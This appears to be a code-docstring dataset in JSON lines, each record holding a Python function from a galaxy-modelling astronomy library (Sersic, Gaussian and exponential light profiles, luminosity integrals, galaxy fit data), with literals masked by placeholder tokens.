{"signature": "def intensities_from_grid_radii(self, grid_radii):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Abstract method for obtaining intensity at on a grid of radii.\n\nParameters\n----------\ngrid_radii : float\n    The radial distance from the centre of the profile. for each coordinate on the grid.", "id": "f5955:c0:m0"}
{"signature": "def intensities_from_grid(self, grid, grid_radial_minimum=None):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Abstract method for obtaining intensity at a grid of Cartesian (y,x) coordinates.\n\nParameters\n----------\ngrid : ndarray\n    The (y, x) coordinates in the original reference frame of the grid.\nReturns\n-------\nintensity : ndarray\n    The value of intensity at the given radius", "id": "f5955:c0:m1"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(EllipticalLightProfile, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>", "docstring": "Abstract class for an elliptical light-profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a)\n        phi : float\n            Rotational angle of profiles ellipse counter-clockwise from positive x-axis", "id": "f5955:c1:m0"}
{"signature": "def luminosity_within_circle_in_units(self, radius: dim.Length, unit_luminosity='<STR_LIT>', kpc_per_arcsec=None,<EOL>exposure_time=None):", "body": "if not isinstance(radius, dim.Length):<EOL><INDENT>radius = dim.Length(value=radius, unit_length='<STR_LIT>')<EOL><DEDENT>profile = self.new_profile_with_units_converted(unit_length=radius.unit_length, unit_luminosity=unit_luminosity,<EOL>kpc_per_arcsec=kpc_per_arcsec, exposure_time=exposure_time)<EOL>luminosity = quad(profile.luminosity_integral, a=<NUM_LIT:0.0>, b=radius, args=(<NUM_LIT:1.0>,))[<NUM_LIT:0>]<EOL>return dim.Luminosity(luminosity, unit_luminosity)<EOL>", "docstring": "Integrate the light profile to compute the total luminosity within a circle of specified radius. This is \\\n        centred on the light profile's centre.\n\n        The following units for mass can be specified and output:\n\n        - Electrons per second (default) - 'eps'.\n        - Counts - 'counts' (multiplies the luminosity in electrons per second by the exposure time).\n\n        Parameters\n        ----------\n        radius : float\n            The radius of the circle to compute the dimensionless mass within.\n        unit_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float or None\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5955:c1:m1"}
{"signature": "def luminosity_within_ellipse_in_units(self, major_axis, unit_luminosity='<STR_LIT>', kpc_per_arcsec=None,<EOL>exposure_time=None):", "body": "if not isinstance(major_axis, dim.Length):<EOL><INDENT>major_axis = dim.Length(major_axis, '<STR_LIT>')<EOL><DEDENT>profile = self.new_profile_with_units_converted(unit_length=major_axis.unit_length,<EOL>unit_luminosity=unit_luminosity,<EOL>kpc_per_arcsec=kpc_per_arcsec, exposure_time=exposure_time)<EOL>luminosity = quad(profile.luminosity_integral, a=<NUM_LIT:0.0>, b=major_axis, args=(self.axis_ratio,))[<NUM_LIT:0>]<EOL>return dim.Luminosity(luminosity, unit_luminosity)<EOL>", "docstring": "Integrate the light profiles to compute the total luminosity within an ellipse of specified major axis. \\\n        This is centred on the light profile's centre.\n\n        The following units for mass can be specified and output:\n\n        - Electrons per second (default) - 'eps'.\n        - Counts - 'counts' (multiplies the luminosity in electrons per second by the exposure time).\n\n        Parameters\n        ----------\n        major_axis : float\n            The major-axis radius of the ellipse.\n        unit_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float or None\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5955:c1:m2"}
{"signature": "def luminosity_integral(self, x, axis_ratio):", "body": "r = x * axis_ratio<EOL>return <NUM_LIT:2> * np.pi * r * self.intensities_from_grid_radii(x)<EOL>", "docstring": "Routine to integrate the luminosity of an elliptical light profile.\n\n        The axis ratio is set to 1.0 for computing the luminosity within a circle", "id": "f5955:c1:m3"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>sigma: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalGaussian, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>self.intensity = intensity<EOL>self.sigma = sigma<EOL>", "docstring": "The elliptical Gaussian light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a).\n        phi : float\n            Rotation angle of light profile counter-clockwise from positive x-axis.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        sigma : float\n            The full-width half-maximum of the Gaussian.", "id": "f5955:c2:m0"}
{"signature": "def intensities_from_grid_radii(self, grid_radii):", "body": "return np.multiply(np.divide(self.intensity, self.sigma * np.sqrt(<NUM_LIT> * np.pi)),<EOL>np.exp(-<NUM_LIT:0.5> * np.square(np.divide(grid_radii, self.sigma))))<EOL>", "docstring": "Calculate the intensity of the Gaussian light profile on a grid of radial coordinates.\n\n        Parameters\n        ----------\n        grid_radii : float\n            The radial distance from the centre of the profile. for each coordinate on the grid.", "id": "f5955:c2:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def intensities_from_grid(self, grid, grid_radial_minimum=None):<DEDENT>", "body": "return self.intensities_from_grid_radii(self.grid_to_elliptical_radii(grid))<EOL>", "docstring": "Calculate the intensity of the light profile on a grid of Cartesian (y,x) coordinates.\n\nIf the coordinates have not been transformed to the profile's geometry, this is performed automatically.\n\nParameters\n----------\ngrid : ndarray\n    The (y, x) coordinates in the original reference frame of the grid.", "id": "f5955:c2:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>sigma: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(SphericalGaussian, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>sigma=sigma)<EOL>", "docstring": "The spherical Gaussian light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        sigma : float\n            The full-width half-maximum of the Gaussian.", "id": "f5955:c3:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>):<DEDENT>", "body": "super(AbstractEllipticalSersic, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>self.intensity = intensity<EOL>self.effective_radius = effective_radius<EOL>self.sersic_index = sersic_index<EOL>", "docstring": "Abstract base class for an elliptical Sersic light profile, used for computing its effective radius and\n        Sersic constant.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a)\n        phi : float\n            Rotational angle of profiles ellipse counter-clockwise from positive x-axis\n        intensity : float\n            Overall intensity normalisation in the light profiles (electrons per second)\n        effective_radius : float\n            The circular radius containing half the light of this model_mapper\n        sersic_index : Int\n            Controls the concentration of the of the profile (lower value -> less concentrated, \\\n            higher value -> more concentrated).", "id": "f5955:c4:m0"}
{"signature": "@property<EOL><INDENT>def elliptical_effective_radius(self):<DEDENT>", "body": "return self.effective_radius / np.sqrt(self.axis_ratio)<EOL>", "docstring": "The effective_radius of a Sersic light profile is defined as the circular effective radius. This is the \\\n        radius within which a circular aperture contains half the profiles's total integrated light. For elliptical \\\n        systems, this won't robustly capture the light profile's elliptical shape.\n\n        The elliptical effective radius instead describes the major-axis radius of the ellipse containing \\\n        half the light, and may be more appropriate for highly flattened systems like disk galaxies.", "id": "f5955:c4:m2"}
{"signature": "@property<EOL><INDENT>def sersic_constant(self):<DEDENT>", "body": "return (<NUM_LIT:2> * self.sersic_index) - (<NUM_LIT:1.> / <NUM_LIT>) + (<NUM_LIT> / (<NUM_LIT> * self.sersic_index)) + (<EOL><NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:2>)) + (<NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:3>)) - (<EOL><NUM_LIT> / (<NUM_LIT> * self.sersic_index ** <NUM_LIT:4>))<EOL>", "docstring": "A parameter derived from Sersic index which ensures that effective radius contains 50% of the profile's\n        total integrated light.", "id": "f5955:c4:m3"}
{"signature": "def intensity_at_radius(self, radius):", "body": "return self.intensity * np.exp(<EOL>-self.sersic_constant * (((radius / self.effective_radius) ** (<NUM_LIT:1.> / self.sersic_index)) - <NUM_LIT:1>))<EOL>", "docstring": "Compute the intensity of the profile at a given radius.\n\n        Parameters\n        ----------\n        radius : float\n            The distance from the centre of the profile.", "id": "f5955:c4:m4"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalSersic, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index)<EOL>", "docstring": "The elliptical Sersic light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a).\n        phi : float\n            Rotation angle of light profile counter-clockwise from positive x-axis.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.\n        sersic_index : Int\n            Controls the concentration of the of the profile (lower value -> less concentrated, \\\n            higher value -> more concentrated).", "id": "f5955:c5:m0"}
{"signature": "def intensities_from_grid_radii(self, grid_radii):", "body": "np.seterr(all='<STR_LIT:ignore>')<EOL>return np.multiply(self.intensity, np.exp(<EOL>np.multiply(-self.sersic_constant,<EOL>np.add(np.power(np.divide(grid_radii, self.effective_radius), <NUM_LIT:1.> / self.sersic_index), -<NUM_LIT:1>))))<EOL>", "docstring": "Calculate the intensity of the Sersic light profile on a grid of radial coordinates.\n\nParameters\n----------\ngrid_radii : float\n    The radial distance from the centre of the profile. for each coordinate on the grid.", "id": "f5955:c5:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def intensities_from_grid(self, grid, grid_radial_minimum=None):<DEDENT>", "body": "return self.intensities_from_grid_radii(self.grid_to_eccentric_radii(grid))<EOL>", "docstring": "Calculate the intensity of the light profile on a grid of Cartesian (y,x) coordinates.\n\n        If the coordinates have not been transformed to the profile's geometry, this is performed automatically.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5955:c5:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>):<DEDENT>", "body": "super(SphericalSersic, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index)<EOL>", "docstring": "The spherical Sersic light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.\n        sersic_index : Int\n            Controls the concentration of the of the light profile.", "id": "f5955:c6:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalExponential, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=<NUM_LIT:1.0>)<EOL>", "docstring": "The elliptical exponential profile.\n\n        This is a subset of the elliptical Sersic profile, specific to the case that sersic_index = 1.0.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second centre of the light profile.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a).\n        phi : float\n            Rotation angle of light profile counter-clockwise from positive x-axis.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.", "id": "f5955:c7:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(SphericalExponential, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius)<EOL>", "docstring": "The spherical exponential profile.\n\n        This is a subset of the elliptical Sersic profile, specific to the case that sersic_index = 1.0.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.", "id": "f5955:c8:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalDevVaucouleurs, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=<NUM_LIT>)<EOL>", "docstring": "The elliptical Dev Vaucouleurs light profile.\n\n        This is a subset of the elliptical Sersic profile, specific to the case that sersic_index = 4.0.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a).\n        phi : float\n            Rotation angle of light profile counter-clockwise from positive x-axis.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.", "id": "f5955:c9:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(SphericalDevVaucouleurs, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius)<EOL>", "docstring": "The spherical Dev Vaucouleurs light profile.\n\n        This is a subset of the elliptical Sersic profile, specific to the case that sersic_index = 1.0.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.", "id": "f5955:c10:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>radius_break: dim.Length = <NUM_LIT>,<EOL>intensity_break: dim.Luminosity = <NUM_LIT>,<EOL>gamma: float = <NUM_LIT>,<EOL>alpha: float = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalCoreSersic, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index)<EOL>self.radius_break = radius_break<EOL>self.intensity_break = intensity_break<EOL>self.alpha = alpha<EOL>self.gamma = gamma<EOL>", "docstring": "The elliptical cored-Sersic light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of light profiles ellipse's minor and major axes (b/a).\n        phi : float\n            Rotation angle of light profile counter-clockwise from positive x-axis.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.\n        sersic_index : Int\n            Controls the concentration of the of the profile (lower value -> less concentrated, \\\n            higher value -> more concentrated).\n        radius_break : Float\n            The break radius separating the inner power-law (with logarithmic slope gamma) and outer Sersic function.\n        intensity_break : Float\n            The intensity at the break radius.\n        gamma : Float\n            The logarithmic power-law slope of the inner core profiles\n        alpha :\n            Controls the sharpness of the transition between the inner core / outer Sersic profiles.", "id": "f5955:c11:m0"}
{"signature": "@property<EOL><INDENT>def intensity_prime(self):<DEDENT>", "body": "return self.intensity_break * (<NUM_LIT> ** (-self.gamma / self.alpha)) * np.exp(<EOL>self.sersic_constant * (((<NUM_LIT> ** (<NUM_LIT:1.0> / self.alpha)) * self.radius_break) / self.effective_radius) ** (<EOL><NUM_LIT:1.0> / self.sersic_index))<EOL>", "docstring": "Overall intensity normalisation in the rescaled Core-Sersic light profiles (electrons per second)", "id": "f5955:c11:m2"}
{"signature": "def intensities_from_grid_radii(self, grid_radii):", "body": "return np.multiply(np.multiply(self.intensity_prime, np.power(<EOL>np.add(<NUM_LIT:1>, np.power(np.divide(self.radius_break, grid_radii), self.alpha)), (self.gamma / self.alpha))),<EOL>np.exp(np.multiply(-self.sersic_constant,<EOL>(np.power(np.divide(np.add(np.power(grid_radii, self.alpha), (<EOL>self.radius_break ** self.alpha)),<EOL>(self.effective_radius ** self.alpha)), (<EOL><NUM_LIT:1.0> / (self.alpha * self.sersic_index)))))))<EOL>", "docstring": "Calculate the intensity of the cored-Sersic light profile on a grid of radial coordinates.\n\n        Parameters\n        ----------\n        grid_radii : float\n            The radial distance from the centre of the profile. for each coordinate on the grid.", "id": "f5955:c11:m3"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>radius_break: dim.Length = <NUM_LIT>,<EOL>intensity_break: dim.Luminosity = <NUM_LIT>,<EOL>gamma: float = <NUM_LIT>,<EOL>alpha: float = <NUM_LIT>):<DEDENT>", "body": "super(SphericalCoreSersic, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index,<EOL>radius_break=radius_break, intensity_break=intensity_break,<EOL>gamma=gamma, alpha=alpha)<EOL>self.radius_break = radius_break<EOL>self.intensity_break = intensity_break<EOL>self.alpha = alpha<EOL>self.gamma = gamma<EOL>", "docstring": "The elliptical cored-Sersic light profile.\n\n        Parameters\n        ----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        intensity : float\n            Overall intensity normalisation of the light profiles (electrons per second).\n        effective_radius : float\n            The circular radius containing half the light of this profile.\n        sersic_index : Int\n            Controls the concentration of the of the profile (lower value -> less concentrated, \\\n            higher value -> more concentrated).\n        radius_break : Float\n            The break radius separating the inner power-law (with logarithmic slope gamma) and outer Sersic function.\n        intensity_break : Float\n            The intensity at the break radius.\n        gamma : Float\n            The logarithmic power-law slope of the inner core profiles\n        alpha :\n            Controls the sharpness of the transition between the inner core / outer Sersic profiles.", "id": "f5955:c12:m0"}
{"signature": "def __init__(self, image, noise_map, pixel_scale):", "body": "self.image = image<EOL>self.noise_map = noise_map<EOL>self.pixel_scale = pixel_scale<EOL>", "docstring": "A galaxy-fit data is a collection of fit data components which are used to fit a galaxy to another galaxy. \\\n        This is where a component of a galaxy's light profiles (e.g. intensities) or mass profiles (e.g. convergence \\\n        , potential or deflection angles) are fitted to one another.\n\n        This is primarily performed for automatic prior linking, as a means to efficiently link the priors of a galaxy \\\n        using one inferred parametrization of light or mass profiles to a new galaxy with a different parametrization \\\n        of light or mass profiles.\n\n        This omits a number of the fit data components typically used when fitting an image (e.g. the observed image, PSF, \\\n        exposure time map), but still has a number of the other components (e.g. an effective noise_map-map, grid_stacks).\n\n        Parameters\n        ----------\n        image : scaled_array.ScaledSquarePixelArray\n            An image of the quantity of the galaxy that is being fitted (e.g. its intensities, convergence, etc.).\n        noise_map : scaled_array.ScaledSquarePixelArray\n            The noise_map-map used for computing the likelihood of each fit. This can be chosen arbritarily.", "id": "f5957:c0:m0"}
{"signature": "def __init__(self, galaxy_data, mask, sub_grid_size=<NUM_LIT:2>, use_intensities=False, use_convergence=False,<EOL>use_potential=False, use_deflections_y=False, use_deflections_x=False):", "body": "self.image = galaxy_data.image<EOL>self.pixel_scale = galaxy_data.pixel_scale<EOL>self.noise_map = galaxy_data.noise_map<EOL>self.mask = mask<EOL>self.image_1d = mask.map_2d_array_to_masked_1d_array(array_2d=self.image)<EOL>self.noise_map_1d = mask.map_2d_array_to_masked_1d_array(array_2d=self.noise_map)<EOL>self.mask_1d = mask.map_2d_array_to_masked_1d_array(array_2d=mask)<EOL>self.sub_grid_size = sub_grid_size<EOL>self.grid_stack = grids.GridStack.grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask,<EOL>sub_grid_size=sub_grid_size,<EOL>psf_shape=(<NUM_LIT:1>, <NUM_LIT:1>))<EOL>self.padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(<EOL>mask=mask, sub_grid_size=sub_grid_size, psf_shape=(<NUM_LIT:1>, <NUM_LIT:1>))<EOL>if all(not element for element in [use_intensities, use_convergence, use_potential,<EOL>use_deflections_y, use_deflections_x]):<EOL><INDENT>raise exc.GalaxyException('<STR_LIT>')<EOL><DEDENT>if sum([use_intensities, use_convergence, use_potential, use_deflections_y, use_deflections_x]) > <NUM_LIT:1>:<EOL><INDENT>raise exc.GalaxyException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self.use_intensities = use_intensities<EOL>self.use_convergence = use_convergence<EOL>self.use_potential = use_potential<EOL>self.use_deflections_y = use_deflections_y<EOL>self.use_deflections_x = use_deflections_x<EOL>", "docstring": "A galaxy-fit data is a collection of fit data components which are used to fit a galaxy to another galaxy. \\\n        This is where a component of a galaxy's light profiles (e.g. intensities) or mass profiles (e.g. surface \\\n        density, potential or deflection angles) are fitted to one another.\n\n        This is primarily performed for automatic prior linking, as a means to efficiently link the priors of a galaxy \\\n        using one inferred parametrization of light or mass profiles to a new galaxy with a different parametrization \\\n        of light or mass profiles.\n\n        This omits a number of the fit data components typically used when fitting an image (e.g. the observed image, PSF, \\\n        exposure time map), but still has a number of the other components (e.g. an effective noise_map-map, grid_stacks).\n\n        Parameters\n        ----------\n        galaxy_data : GalaxyData\n            The collection of data about the galaxy (image of its profile map, noise-map, etc.) that is fitted.\n        mask: msk.Mask\n            The 2D masks that is applied to image fit data.\n        sub_grid_size : int\n            The size of the sub-grid used for computing the SubGrid (see ccd.masks.SubGrid).\n\n        Attributes\n        ----------\n        noise_map_1d : ndarray\n            The masked 1D array of the noise_map-map\n        grid_stacks : ccd.masks.GridStack\n            Grids of (y,x) Cartesian coordinates which map over the masked 1D fit data array's pixels (includes an \\\n            regular-grid, sub-grid, etc.)\n        padded_grid_stack : ccd.masks.GridStack\n            Grids of padded (y,x) Cartesian coordinates which map over the every fit data array's pixel in 1D and a \\\n            padded regioon to include edge's for accurate PSF convolution (includes an regular-grid, sub-grid, etc.)", "id": "f5957:c1:m0"}
{"signature": "def __init__(self, redshift=None, pixelization=None, regularization=None, hyper_galaxy=None, **kwargs):", "body": "self.redshift = redshift<EOL>for name, val in kwargs.items():<EOL><INDENT>setattr(self, name, val)<EOL><DEDENT>self.pixelization = pixelization<EOL>self.regularization = regularization<EOL>if self.has_pixelization and not self.has_regularization:<EOL><INDENT>raise exc.GalaxyException('<STR_LIT>')<EOL><DEDENT>if not self.has_pixelization and self.has_regularization:<EOL><INDENT>raise exc.GalaxyException('<STR_LIT>')<EOL><DEDENT>self.hyper_galaxy = hyper_galaxy<EOL>", "docstring": "Class representing a galaxy, which is composed of attributes used for fitting hyper (e.g. light profiles, \\ \n        mass profiles, pixelizations, etc.).\n\n        All *has_* methods retun *True* if galaxy has that attribute, *False* if not.\n\n        Parameters\n        ----------\n        redshift: float\n            The redshift of the galaxy.\n        light_profiles: [lp.LightProfile]\n            A list of the galaxy's light profiles.\n        mass_profiles: [mp.MassProfile]\n            A list of the galaxy's mass profiles.\n        hyper_galaxy : HyperGalaxy\n            The hyper-parameters of the hyper-galaxy, which is used for performing a hyper-analysis on the noise-map.\n\n        Attributes\n        ----------\n        pixelization : inversion.Pixelization\n            The pixelization of the galaxy used to reconstruct an observed image using an inversion.\n        regularization : inversion.Regularization\n            The regularization of the pixel-grid used to reconstruct an observed regular using an inversion.", "id": "f5958:c0:m0"}
{"signature": "def intensities_from_grid(self, grid):", "body": "if self.has_light_profile:<EOL><INDENT>return sum(map(lambda p: p.intensities_from_grid(grid), self.light_profiles))<EOL><DEDENT>else:<EOL><INDENT>return np.zeros((grid.shape[<NUM_LIT:0>],))<EOL><DEDENT>", "docstring": "Calculate the summed intensities of all of the galaxy's light profiles using a grid of Cartesian (y,x) \\\n        coordinates.\n\n        If the galaxy has no light profiles, a grid of zeros is returned.\n\n        See *profiles.light_profiles* for a description of how light profile intensities are computed.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5958:c0:m12"}
{"signature": "def luminosity_within_circle_in_units(self, radius : dim.Length, unit_luminosity='<STR_LIT>', kpc_per_arcsec=None, exposure_time=None):", "body": "if self.has_light_profile:<EOL><INDENT>return sum(map(lambda p: p.luminosity_within_circle_in_units(radius=radius, unit_luminosity=unit_luminosity,<EOL>kpc_per_arcsec=kpc_per_arcsec, exposure_time=exposure_time),<EOL>self.light_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Compute the total luminosity of the galaxy's light profiles within a circle of specified radius.\n\n        See *light_profiles.luminosity_within_circle* for details of how this is performed.\n\n        Parameters\n        ----------\n        radius : float\n            The radius of the circle to compute the dimensionless mass within.\n        unit_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5958:c0:m13"}
{"signature": "def luminosity_within_ellipse_in_units(self, major_axis : dim.Length, unit_luminosity='<STR_LIT>', kpc_per_arcsec=None, exposure_time=None):", "body": "if self.has_light_profile:<EOL><INDENT>return sum(map(lambda p: p.luminosity_within_ellipse_in_units(major_axis=major_axis, unit_luminosity=unit_luminosity,<EOL>kpc_per_arcsec=kpc_per_arcsec, exposure_time=exposure_time),<EOL>self.light_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Compute the total luminosity of the galaxy's light profiles, within an ellipse of specified major axis. This \n        is performed via integration of each light profile and is centred, oriented and aligned with each light\n        model's individual geometry.\n\n        See *light_profiles.luminosity_within_ellipse* for details of how this is performed.\n\n        Parameters\n        ----------\n        major_axis : float\n            The major-axis radius of the ellipse.\n        unit_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5958:c0:m14"}
